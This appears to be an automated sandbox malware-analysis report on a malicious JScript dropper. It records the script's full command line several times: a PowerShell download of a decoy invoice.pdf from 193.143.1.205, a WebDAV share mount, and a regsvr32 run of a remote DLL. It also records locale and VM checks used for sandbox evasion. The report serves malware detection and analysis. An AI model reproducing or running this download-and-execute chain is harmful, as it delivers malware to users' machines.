Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\2412.js.csv");ITextStream.WriteLine(" entry:8371 f:yriorm");ITextStream.WriteLine(" exec:2 f:yriorm");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4586			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5248			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2932	Thread sleep count: 4586 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2932	Thread sleep count: 5248 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2688	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5244	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4304	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3652	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6152	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: wscript.exe, 00000000.00000003.1697530915.0000023AE5592000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: net.exe, 00000006.00000002.1753884546.00000244B1CB0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000003.1753262577.00000244B1D09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2986266617.000002130182B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2988014370.0000021306E59000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
